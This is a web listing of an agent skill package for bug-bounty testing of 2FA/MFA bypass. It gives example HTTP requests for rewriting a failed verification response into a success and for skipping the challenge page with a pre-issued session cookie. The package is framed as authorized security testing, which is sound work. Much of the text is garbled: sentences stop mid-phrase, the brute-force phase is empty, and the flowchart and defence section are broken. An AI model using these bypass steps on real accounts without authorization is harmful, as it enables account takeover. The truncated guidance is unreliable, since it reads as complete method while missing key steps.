ShulkwiSEC/bb-huge / skills/curated/2fa-bypass
2fa-multi-factor-bypass
VerifiedExploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.9 KB |
| evals/evals.json | config | 506 B |
| scripts/process.py | script | 7.8 KB |
SKILL.md
View on GitHub---
name: 2fa-multi-factor-bypass
description: >
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to
bypass the secondary authentication challenge entirely. Techniques include response manipulation,
referal spoofing, token reuse, and predictable backup codes.
domain: cybersecurity
subdomain: bug-hunting
category: Logical Flaws
difficulty: intermediate
estimated_time: "2-4 hours"
mitre_attack:
tactics: [TA0006]
techniques: [T1111]
platforms: [web, mobile]
tags: [web-security, 2fa, mfa, bug-hunting, logical-flaw, authentication]
tools: [burp-suite]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---
# 2FA / MFA Bypass
## When to Use
- When auditing the authentication flow of a web or mobile application that implements SMS, Authenticator App (TOTP), or Email-based 2FA.
- To demonstrate how an attacker with compromised primary credentials (username/password) might circumvent the secondary layer of defense due to faulty business logic or state management by the server.
## Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
## Workflow
### Phase 1: Understanding 2FA Implementation Flaws
```text
# Concept: 2FA should be an unbreakable mathematical barrier However, developers often
# implement the logic Common Flaws :
# 1. Response Manipulation: Altering the server's boolean response .
# 2. Status Code Manipulation: Changing a 401 Unauthorized to a 200 OK 3. Direct Object Reference (Incomplete Auth): Navigating 4. Token Reuse/Predictability: 5. Rate Limit Missing: ```
### Phase 2: Exploitation via Response Manipulation
```http
# Concept: The server sends a boolean indicating if the 2FA code was correct 1. The Intercept (Attacker enters a wrong code: 000000) POST /api/v1/2fa/verify HTTP/1.1
Host: target.com
{"code": "000000"}
# 2. The Original Response HTTP/1.1 401 Unauthorized
{"success": false, "message": "Invalid code"}
# 3. The Manipulation (Using Burp Suite 'Match and Replace' or manual interception )
HTTP/1.1 200 OK
{"success": true, "message": "Authenticated"}
# Result If the frontend exclusively handles the 2FA state ```
### Phase 3: Exploitation via Direct Routing Bypass (State Mismatch)
```http
# Concept: Sometimes, after validating the password the server sets the primary session cookie BEFORE the required 2FA 1. Login POST /login HTTP/1.1
{"username": "victim", "password": "Password1!"}
# Response HTTP/1.1 302 Found
Set-Cookie: session_id=abc123validthing;
Location: /2fa-challenge
# 2. The Bypass Instead of following the redirect GET /dashboard HTTP/1.1
Host: target.com
Cookie: session_id=abc123validthing;
# Result ```
### Phase 4: Exploitation via Token Guessing / Brute Force
```text
# Concept If a site ```
#### Decision Point π
```mermaid
flowchart TD
A[Compromise ] --> B[Encounter 2FA Challenge ]
B --> C{Does ]}
C -->|Yes| D[Test ]
C -->|No| E[Check D --> F[Bypass ]
```
## π΅ Blue Team Detection & Defense
- **Server-Side Validation**: Ensure **Rate Limiting (Strict)**: Implement **State Flow Enforcement**: The server Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
2Fa Bypass β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## π° Industry Bounty Payout Statistics (2024-2025)
| Company/Platform | Total Paid | Highest Single | Year |
|-----------------|------------|---------------|------|
| **Google VRP** | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| **Microsoft** | $16.6M | (Not disclosed) | 2024 |
| **Google VRP** | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| **HackerOne (all programs)** | $81M | $100,050 (crypto firm) | 2025 |
| **Meta/Facebook** | $2.3M | up to $300K (mobile code execution) | 2024 |
| **Crypto.com (HackerOne)** | $2M program | $2M max | 2024 |
| **1Password (Bugcrowd)** | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| **Samsung** | $1M max | $1M (critical mobile flaws) | 2025 |
**Key Takeaway**: Google alone paid $17.1M in 2025 β a 40% increase YoY. Microsoft paid $16.6M.
The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
## π Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β Verified disclosed bounties by vulnerability class
## References
- PortSwigger: [Multi-factor authentication vulnerabilities](https://portswigger.net/web-security/authentication/multi-factor)
- OWASP: [Testing for Weak Authentication](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| receiving-code-reviewobra/superpowersUse when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| requesting-code-reviewobra/superpowersUse when completing tasks, implementing major features, or before merging to verify work meets requirements | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| using-git-worktreesobra/superpowersUse when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| verification-before-completionobra/superpowersUse when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |